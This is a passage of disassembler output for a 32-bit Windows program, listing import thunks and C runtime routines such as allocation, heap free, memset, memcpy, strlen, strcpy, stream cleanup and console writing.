proc near ; CODE XREF: sub_442443+4p ; sub_443A83+152p ... jmp dword_411E98 sub_447C47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C4D proc near ; CODE XREF: sub_442450+56p jmp dword_411E9C sub_447C4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C53 proc near ; CODE XREF: sub_4424C3+11p jmp dword_411EA0 sub_447C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C59 proc near ; CODE XREF: sub_4424E8+28p ; sub_442538+28p ... jmp dword_411EA4 sub_447C59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C5F proc near ; CODE XREF: sub_4424E8+3Ap jmp dword_411EA8 sub_447C5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C65 proc near ; CODE XREF: sub_442538+3Ap ; sub_443A83+E5p ... jmp dword_411EAC sub_447C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C6B proc near ; CODE XREF: sub_442588+8p jmp dword_411EB0 sub_447C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C71 proc near ; CODE XREF: sub_4425A2+30p ; sub_4425ED+3Fp jmp dword_411EB4 sub_447C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C77 proc near ; CODE XREF: sub_4425ED+5Fp ; DMN1:004427C5p ... jmp dword_411EB8 sub_447C77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C7D proc near ; CODE XREF: sub_44265D+17p ; sub_442694+18p ... jmp dword_411EBC sub_447C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C83 proc near ; CODE XREF: sub_442708+17p jmp dword_411EC0 sub_447C83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C89 proc near ; CODE XREF: sub_44273F+8p ; sub_44352A+EDp ... jmp dword_411EC4 sub_447C89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C8F proc near ; CODE XREF: sub_44273F+1Bp jmp dword_411EC8 sub_447C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C95 proc near ; CODE XREF: DMN1:004427A8p jmp dword_411ECC sub_447C95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C9B proc near ; CODE XREF: DMN1:004427F7p jmp dword_411ED0 sub_447C9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447CA1 proc near ; CODE XREF: DMN1:00442818p ; sub_444094+5Cp ... jmp dword_411ED4 sub_447CA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447CA7 proc near ; CODE XREF: sub_443A83+142p ; sub_444094+FCp ... jmp dword_411ED8 sub_447CA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447CAD proc near ; CODE XREF: sub_443A83+1DBp ; sub_444094+16Dp ... jmp dword_411EDC sub_447CAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447CB3 proc near ; CODE XREF: sub_443A83+1E4p ; sub_444094+176p ... jmp dword_411EE0 sub_447CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447CB9 proc near ; CODE XREF: sub_444025+23p ; sub_444025+4Bp jmp dword_411EE8 sub_447CB9 endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_447CC1 proc near ; CODE XREF: sub_441FC9+15p ; DMN1:0044208Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_449121 pop ecx mov ebx, eax test ebx, ebx jz short loc_447CE8 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_447CE8: ; CODE XREF: sub_447CC1+17j mov eax, ebx pop esi pop ebx retn sub_447CC1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447CF1 proc near ; CODE XREF: sub_448071+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_447D1C call sub_449321 mov dword ptr [eax], 16h jmp loc_44805E ; --------------------------------------------------------------------------- loc_447D1C: ; CODE XREF: sub_447CF1+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_447DCC mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E4 cmp [esi], eax ja short loc_447D81 mov eax, dword_4111DC cmp [esi], eax ja short loc_447D69 mov eax, dword_4111D8 cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_447D7C ; --------------------------------------------------------------------------- loc_447D69: ; CODE XREF: sub_447CF1+64j mov eax, dword_4111E0 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_447D7C: ; CODE XREF: sub_447CF1+76j mov eax, [ebp+var_10] jmp short loc_447DB2 ; --------------------------------------------------------------------------- loc_447D81: ; CODE XREF: sub_447CF1+5Bj mov eax, dword_4111EC cmp [esi], eax ja short loc_447D9F mov eax, dword_4111E8 cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_447DB2 ; --------------------------------------------------------------------------- loc_447D9F: ; CODE XREF: sub_447CF1+97j mov eax, dword_4111F0 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_447DB2: ; CODE XREF: sub_447CF1+8Ej ; sub_447CF1+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_447DCC: ; CODE XREF: sub_447CF1+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_447EF8 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E4 cmp [eax], edx ja short loc_447E2B mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx ja short loc_447E0F mov eax, [ebp+var_4] mov edx, dword_4111D8 cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_447E26 ; --------------------------------------------------------------------------- loc_447E0F: ; CODE XREF: sub_447CF1+106j mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_447E26: ; CODE XREF: sub_447CF1+11Cj mov eax, [ebp+var_10] jmp short loc_447E68 ; --------------------------------------------------------------------------- loc_447E2B: ; CODE XREF: sub_447CF1+F9j mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx ja short loc_447E51 mov eax, [ebp+var_4] mov edx, dword_4111E8 cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_447E68 ; --------------------------------------------------------------------------- loc_447E51: ; CODE XREF: sub_447CF1+145j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_447E68: ; CODE XREF: sub_447CF1+138j ; sub_447CF1+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_447EB3 mov eax, [ebp+var_8] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111F8, eax jnz short loc_447EEA jmp short loc_447E9D ; --------------------------------------------------------------------------- loc_447E97: ; CODE XREF: sub_447CF1+1BEj inc dword_4111F8 loc_447E9D: ; CODE XREF: sub_447CF1+1A4j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_447EB1 cmp eax, 7 jl short loc_447E97 loc_447EB1: ; CODE XREF: sub_447CF1+1B9j jmp short loc_447EEA ; --------------------------------------------------------------------------- loc_447EB3: ; CODE XREF: sub_447CF1+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] cmp eax, [ebp+var_4] jnz short loc_447EEA mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_447EEA: ; CODE XREF: sub_447CF1+1A2j ; sub_447CF1:loc_447EB1j ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_447EF8: ; CODE XREF: sub_447CF1+E4j cmp edi, dword_4111E4 ja short loc_447F32 cmp edi, dword_4111DC ja short loc_447F1A mov eax, dword_4111D8 cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_447F2D ; --------------------------------------------------------------------------- loc_447F1A: ; CODE XREF: sub_447CF1+215j mov eax, dword_4111E0 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_447F2D: ; CODE XREF: sub_447CF1+227j mov eax, [ebp+var_10] jmp short loc_447F62 ; --------------------------------------------------------------------------- loc_447F32: ; CODE XREF: sub_447CF1+20Dj cmp edi, dword_4111EC ja short loc_447F4F mov eax, dword_4111E8 cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_447F62 ; --------------------------------------------------------------------------- loc_447F4F: ; CODE XREF: sub_447CF1+247j mov eax, dword_4111F0 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_447F62: ; CODE XREF: sub_447CF1+23Fj ; sub_447CF1+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_44805E cmp [ebp+var_C], 0 jl short loc_447FEA mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_447FB9 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_447FEA jmp short loc_447FA3 ; --------------------------------------------------------------------------- loc_447F9D: ; CODE XREF: sub_447CF1+2C4j inc dword_4111F8 loc_447FA3: ; CODE XREF: sub_447CF1+2AAj mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_447FB7 cmp eax, 7 jl short loc_447F9D loc_447FB7: ; CODE XREF: sub_447CF1+2BFj jmp short loc_447FEA ; --------------------------------------------------------------------------- loc_447FB9: ; CODE XREF: sub_447CF1+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_447FEA mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_447FEA: ; CODE XREF: sub_447CF1+284j ; sub_447CF1+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_448020 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111F8, eax jle short loc_448029 mov eax, [ebp+var_8] mov dword_4111F8, eax jmp short loc_448029 ; --------------------------------------------------------------------------- loc_448020: ; CODE XREF: sub_447CF1+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_448029: ; CODE XREF: sub_447CF1+323j ; sub_447CF1+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_4111FC, eax mov dword_4111A8[eax*4], ebx loc_44805E: ; CODE XREF: sub_447CF1+26j ; sub_447CF1+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447CF1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448071 proc near ; CODE XREF: sub_441FF7+Fp ; DMN1:004420B9p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004480E4 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F864 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_4480E4 lea eax, [ebx-4] cmp eax, dword_4111D0 jbe short loc_4480B1 cmp eax, dword_4111CC jb short loc_4480BA loc_4480B1: ; CODE XREF: sub_448071+36j push ebx call sub_4495B1 pop ecx jmp short loc_4480E4 ; --------------------------------------------------------------------------- loc_4480BA: ; CODE XREF: sub_448071+3Ej push 0 call sub_4496C1 pop ecx mov [ebp+var_4], 0 push ebx call sub_447CF1 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_4480DB jmp short loc_4480E4 sub_448071 endp ; =============== S U B R O U T I N E ======================================= sub_4480DB proc near ; CODE XREF: sub_448071+63p push 0 call sub_449741 pop ecx retn sub_4480DB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448071 loc_4480E4: ; CODE XREF: sub_448071+2Bj ; sub_448071+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448071 ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] mov edi, ebx cmp [edi+4], esi jnb short loc_448117 mov esi, [edi+4] loc_448117: ; CODE XREF: DMN1:00448112j push esi mov eax, [ebp+0Ch] push eax mov eax, [edi] push eax call sub_4485B1 add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448141 proc near ; CODE XREF: DMN1:00442071p ; DMN1:004420A1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_44815D lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_44816D ; --------------------------------------------------------------------------- loc_44815D: ; CODE XREF: sub_448141+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_44816D: ; CODE XREF: sub_448141+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407180 call sub_449761 add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_448141 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push 0 lea eax, [ebp-4] push eax push esi mov eax, [ebp+0Ch] push eax push ebx call dword_411D94 ; WriteConsoleA test eax, eax jz short loc_4481CF cmp [ebp-4], esi jnz short loc_4481CF mov edi, ebx jmp short loc_4481D1 ; --------------------------------------------------------------------------- loc_4481CF: ; CODE XREF: DMN1:004481C4j ; DMN1:004481C9j xor edi, edi loc_4481D1: ; CODE XREF: DMN1:004481CDj mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4481E1 proc near ; CODE XREF: DMN1:004420B1p ; DMN1:004420CDp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_4499E1 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_4481FA or eax, 0FFFFFFFFh jmp short loc_448212 ; --------------------------------------------------------------------------- loc_4481FA: ; CODE XREF: sub_4481E1+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset sub_407220 call sub_449761 add esp, 10h mov esi, eax loc_448212: ; CODE XREF: sub_4481E1+17j pop edi pop esi pop ebx pop ebp retn sub_4481E1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push ebx mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_4485B1 add esp, 0Ch add eax, ebx pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448241 proc near ; CODE XREF: DMN1:0044214Dp ; sub_44352A+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_4072A0 call sub_449761 add esp, 10h mov ebx, eax test ebx, ebx jl short loc_44826C mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_44826C: ; CODE XREF: sub_448241+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_448241 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448281 proc near ; CODE XREF: DMN1:00442172p ; sub_4447B9+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004482E5 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F870 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_4496C1 pop ecx mov [ebp+var_4], 0 call sub_449A41 push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_449AA1 add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4482DC jmp short loc_4482E5 sub_448281 endp ; =============== S U B R O U T I N E ======================================= sub_4482DC proc near ; CODE XREF: sub_448281+54p push 6 call sub_449741 pop ecx retn sub_4482DC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448281 loc_4482E5: ; CODE XREF: sub_448281+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448281 ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push ebx push esi push 1 mov eax, [ebp+0Ch] push eax call sub_4486E1 add esp, 10h cmp eax, esi jnz short loc_448325 mov edi, ebx jmp short loc_448327 ; --------------------------------------------------------------------------- loc_448325: ; CODE XREF: DMN1:0044831Fj xor edi, edi loc_448327: ; CODE XREF: DMN1:00448323j mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448331 proc near ; CODE XREF: DMN1:0044218Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407380 call sub_449761 add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_448331 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx xor ebx, ebx loc_448364: ; CODE XREF: DMN1:0044837Dj mov eax, off_411370[ebx*4] test eax, eax jz short loc_448376 push eax call sub_4484E1 pop ecx loc_448376: ; CODE XREF: DMN1:0044836Dj inc ebx cmp ebx, 100h jb short loc_448364 pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448381 proc near ; CODE XREF: sub_449AA1:loc_449BD5p ; sub_449E21+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004483E8 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F87C push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_4496C1 pop ecx mov [ebp+var_4], 0 cmp dword_41105C, 0 jnz short loc_4483D4 mov dword_41105C, 1 push offset sub_4073E0 call sub_449BF1 pop ecx loc_4483D4: ; CODE XREF: sub_448381+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_4483DF jmp short loc_4483E8 sub_448381 endp ; =============== S U B R O U T I N E ======================================= sub_4483DF proc near ; CODE XREF: sub_448381+57p push 6 call sub_449741 pop ecx retn sub_4483DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448381 loc_4483E8: ; CODE XREF: sub_448381+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448381 ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448401 proc near ; CODE XREF: sub_4484E1+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_449C21 pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_448422 mov eax, [ebx+8] push eax call sub_448071 pop ecx loc_448422: ; CODE XREF: sub_448401+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_44843E push eax call sub_449DA1 pop ecx test eax, eax jz short loc_44843E or esi, 0FFFFFFFFh loc_44843E: ; CODE XREF: sub_448401+2Dj ; sub_448401+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_448464 push eax call sub_448A11 pop ecx test eax, eax jz short loc_448453 or esi, 0FFFFFFFFh loc_448453: ; CODE XREF: sub_448401+4Dj mov eax, [ebx+3Ch] push eax call sub_448071 pop ecx mov dword ptr [ebx+3Ch], 0 loc_448464: ; CODE XREF: sub_448401+42j test word ptr [ebx], 80h jz short loc_448495 xor edi, edi loc_44846D: ; CODE XREF: sub_448401+89j cmp ebx, off_411370[edi*4] jnz short loc_448483 mov off_411370[edi*4], 0 jmp short loc_44848C ; --------------------------------------------------------------------------- loc_448483: ; CODE XREF: sub_448401+73j inc edi cmp edi, 100h jb short loc_44846D loc_44848C: ; CODE XREF: sub_448401+80j push ebx call sub_448071 pop ecx jmp short loc_4484CE ; --------------------------------------------------------------------------- loc_448495: ; CODE XREF: sub_448401+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_4484CE: ; CODE XREF: sub_448401+92j mov eax, esi pop edi pop esi pop ebx retn sub_448401 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4484E1 proc near ; CODE XREF: DMN1:00442195p ; sub_4447B9+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00448537 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F888 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_4496C1 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_448401 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_44852E jmp short loc_448537 sub_4484E1 endp ; =============== S U B R O U T I N E ======================================= sub_44852E proc near ; CODE XREF: sub_4484E1+46p push 6 call sub_449741 pop ecx retn sub_44852E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4484E1 loc_448537: ; CODE XREF: sub_4484E1+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4484E1 ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448551 proc near ; CODE XREF: sub_4424E8+Fp ; sub_442538+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_44859F mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_448598 neg ecx and ecx, 3 jz short loc_44857A sub edx, ecx loc_448574: ; CODE XREF: sub_448551+27j mov [edi], al inc edi dec ecx jnz short loc_448574 loc_44857A: ; CODE XREF: sub_448551+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_448598 rep stosd test edx, edx jz short loc_44859E loc_448598: ; CODE XREF: sub_448551+18j ; sub_448551+3Fj ... mov [edi], al inc edi dec edx jnz short loc_448598 loc_44859E: ; CODE XREF: sub_448551+45j pop edi loc_44859F: ; CODE XREF: sub_448551+6j mov eax, [esp+arg_0] retn sub_448551 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4485B1 proc near ; CODE XREF: sub_4429D6+2Cp ; sub_442A5B+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_4485C7 ; --------------------------------------------------------------------------- loc_4485C0: ; CODE XREF: sub_4485B1+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_4485C7: ; CODE XREF: sub_4485B1+Dj test ecx, ecx jnz short loc_4485C0 mov eax, [esp+4+arg_0] pop ebx retn sub_4485B1 endp ; =============== S U B R O U T I N E ======================================= sub_4485D1 proc near ; CODE XREF: sub_443189+2Ep ; sub_443492+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_4485DA ; --------------------------------------------------------------------------- loc_4485D9: ; CODE XREF: sub_4485D1+Cj inc edx loc_4485DA: ; CODE XREF: sub_4485D1+6j cmp byte ptr [edx], 0 jnz short loc_4485D9 mov eax, edx sub eax, ecx retn sub_4485D1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4485F1 proc near ; CODE XREF: sub_443217+3Fp ; sub_44352A+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_4485FD: ; CODE XREF: sub_4485F1+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_4485FD mov eax, ecx pop edi pop ebx retn sub_4485F1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_448611 proc near ; CODE XREF: 